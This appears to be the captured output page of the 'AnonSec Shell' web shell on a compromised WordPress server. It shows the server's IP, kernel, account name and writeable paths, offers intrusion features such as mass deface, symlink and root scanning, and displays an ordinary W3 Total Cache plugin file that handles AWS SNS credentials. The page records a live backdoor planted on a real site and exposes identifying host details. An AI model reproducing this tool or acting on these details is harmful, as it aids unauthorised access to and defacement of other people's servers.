. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 198.54.115.242  /  Your IP : 216.73.216.33   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux server233.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User : imereohc ( 2529)
PHP Version : 8.2.30
Disable Function : NONE
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/imereohc/test.imera.ai/wp-content/plugins/w3-total-cache/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/imereohc/test.imera.ai/wp-content/plugins/w3-total-cache/Enterprise_SnsBase.php
<?php
namespace W3TC;

if ( !defined( 'W3TC_SKIPLIB_AWS' ) ) {
	require_once W3TC_LIB_DIR . '/Aws/aws-autoloader.php';
}



/**
 * Base class for Sns communication
 */
class Enterprise_SnsBase {
	/**
	 * PHP5-style constructor
	 */
	function __construct() {
		$this->_config = Dispatcher::config();

		$this->_region = $this->_config->get_string( 'cluster.messagebus.sns.region' );
		$this->_topic_arn = $this->_config->get_string( 'cluster.messagebus.sns.topic_arn' );
		$this->_api_key = $this->_config->get_string( 'cluster.messagebus.sns.api_key' );
		$this->_api_secret = $this->_config->get_string( 'cluster.messagebus.sns.api_secret' );

		$this->_debug = $this->_config->get_boolean( 'cluster.messagebus.debug' );
		$this->_api = null;
	}

	/**
	 * Returns API object
	 *
	 * @throws Exception
	 * @return AmazonSNS
	 */
	protected function _get_api() {
		if ( is_null( $this->_api ) ) {
			if ( $this->_api_key == '' )
				throw new \Exception( 'API Key is not configured' );
			if ( $this->_api_secret == '' )
				throw new \Exception( 'API Secret is not configured' );


			$credentials = new \Aws\Credentials\Credentials(
				$this->_api_key, $this->_api_secret );

			$this->_api = new \Aws\Sns\SnsClient( array(
				'credentials' => $credentials,
				'region' => $this->_region,
				'version' => '2010-03-31'
			) );
		}

		return $this->_api;
	}

	/**
	 * Write log entry
	 *
	 * @param string  $message
	 * @param array   $backtrace
	 * @return bool|int
	 */
	protected function _log( $message, $backtrace = null ) {
		if ( !$this->_debug )
			return true;

		$data = sprintf( "[%s] %s\n", date( 'r' ), $message );
		if ( $backtrace ) {
			$debug = print_r( $backtrace, true );
			$data .= $debug . "\n";
		}
		$data = strtr( $data, '<>', '..' );

		$filename = Util_Debug::log_filename( 'sns' );

		return @file_put_contents( $filename, $data, FILE_APPEND );
	}
}

Anon7 - 2022
AnonSec Team